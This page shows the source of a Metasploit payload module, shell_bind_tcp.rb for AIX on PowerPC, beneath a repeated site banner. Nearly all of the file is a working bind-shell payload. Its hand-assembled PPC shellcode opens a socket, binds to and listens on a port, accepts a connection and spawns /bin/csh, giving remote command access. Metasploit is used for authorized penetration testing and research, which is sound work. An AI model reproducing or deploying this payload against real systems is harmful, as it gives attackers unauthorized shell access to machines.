Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/aix/ppc/shell_bind_tcp.rb
Views: 11779
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = 264910include Msf::Payload::Single11include Msf::Payload::Aix12include Msf::Sessions::CommandShellOptions1314def initialize(info = {})15super(merge_info(info,16'Name' => 'AIX Command Shell, Bind TCP Inline',17'Description' => 'Listen for a connection and spawn a command shell',18'Author' => 'Ramon de C Valle',19'License' => MSF_LICENSE,20'Platform' => 'aix',21'Arch' => ARCH_PPC,22'Handler' => Msf::Handler::BindTcp,23'Session' => Msf::Sessions::CommandShellUnix,24'Payload' =>25{26'Offsets' =>27{28'LPORT' => [ 82, 'n' ],29},30}31))3233end3435def generate(*args)36super(*args)3738payload =39"\x7f\xff\xfa\x79" + # xor. r31,r31,r31 #40"\x40\x82\xff\xfd" + # bnel <bndsockcode> #41"\x7f\xc8\x02\xa6" + # mflr r30 #42"\x3b\xde\x01\xff" + # cal r30,511(r30) #43"\x3b\xde\xfe\x1d" + # cal r30,-483(r30) #44"\x7f\xc9\x03\xa6" + # mtctr r30 #45"\x4e\x80\x04\x20" + # bctr #46"\x4c\xc6\x33\x42" + # crorc 6,6,6 #47"\x44\xff\xff\x02" + # svca 0 #48"\x3b\xde\xff\xf8" + # cal r30,-8(r30) #49"\x3b\xa0\x07\xff" + # lil r29,2047 #50"\x7c\xa5\x2a\x78" + # xor r5,r5,r5 #51"\x38\x9d\xf8\x02" + # cal r4,-2046(r29) #52"\x38\x7d\xf8\x03" + # cal r3,-2045(r29) #53@cal_socket +54"\x7f\xc9\x03\xa6" + # mtctr r30 #55"\x4e\x80\x04\x21" + # bctrl #56"\x7c\x7c\x1b\x78" + # mr r28,r3 #57"\x38\xbd\xf8\x11" + # cal r5,-2031(r29) #58"\x3f\x60\xff\x02" + # liu r27,-254 #59"\x63\x7b\x11\x5c" + # oril r27,r27,4444 #60"\x97\xe1\xff\xfc" + # stu r31,-4(r1) #61"\x97\x61\xff\xfc" + # stu r27,-4(r1) #62"\x7c\x24\x0b\x78" + # mr r4,r1 #63@cal_bind +64"\x7f\xc9\x03\xa6" + # mtctr r30 #65"\x4e\x80\x04\x21" + # bctrl #66"\x7c\x84\x22\x78" + # xor r4,r4,r4 #67"\x7f\x83\xe3\x78" + # mr r3,r28 #68@cal_listen +69"\x7f\xc9\x03\xa6" + # mtctr r30 #70"\x4e\x80\x04\x21" + # bctrl #71"\x7c\xa5\x2a\x78" + # xor r5,r5,r5 #72"\x7c\x84\x22\x78" + # xor r4,r4,r4 #73"\x7f\x83\xe3\x78" + # mr r3,r28 #74@cal_accept +75"\x7f\xc9\x03\xa6" + # mtctr r30 #76"\x4e\x80\x04\x21" + # bctrl #77"\x7c\x7a\x1b\x78" + # mr r26,r3 #78"\x3b\x3d\xf8\x03" + # cal r25,-2045(r29) #79"\x7f\x23\xcb\x78" + # mr r3,r25 #80@cal_close +81"\x7f\xc9\x03\xa6" + # mtctr r30 #82"\x4e\x80\x04\x21" + # bctrl #83"\x7f\x25\xcb\x78" + # mr r5,r25 #84"\x7c\x84\x22\x78" + # xor r4,r4,r4 #85"\x7f\x43\xd3\x78" + # mr r3,r26 #86@cal_kfcntl +87"\x7f\xc9\x03\xa6" + # mtctr r30 #88"\x4e\x80\x04\x21" + # bctrl #89"\x37\x39\xff\xff" + # ai. r25,r25,-1 #90"\x40\x80\xff\xd4" + # bge <bndsockcode+160> #91"\x7c\xa5\x2a\x79" + # xor. r5,r5,r5 #92"\x40\x82\xff\xfd" + # bnel <bndsockcode+208> #93"\x7f\x08\x02\xa6" + # mflr r24 #94"\x3b\x18\x01\xff" + # cal r24,511(r24) #95"\x38\x78\xfe\x29" + # cal r3,-471(r24) #96"\x98\xb8\xfe\x31" + # stb r5,-463(r24) #97"\x94\xa1\xff\xfc" + # stu r5,-4(r1) #98"\x94\x61\xff\xfc" + # stu r3,-4(r1) #99"\x7c\x24\x0b\x78" + # mr r4,r1 #100@cal_execve +101"\x7f\xc9\x03\xa6" + # mtctr r30 #102"\x4e\x80\x04\x21" + # bctrl #103"/bin/csh"104105# If the payload is generated and there are offsets to substitute,106# do that now.107if (payload and offsets)108substitute_vars(payload, offsets)109end110111payload112end113end114115116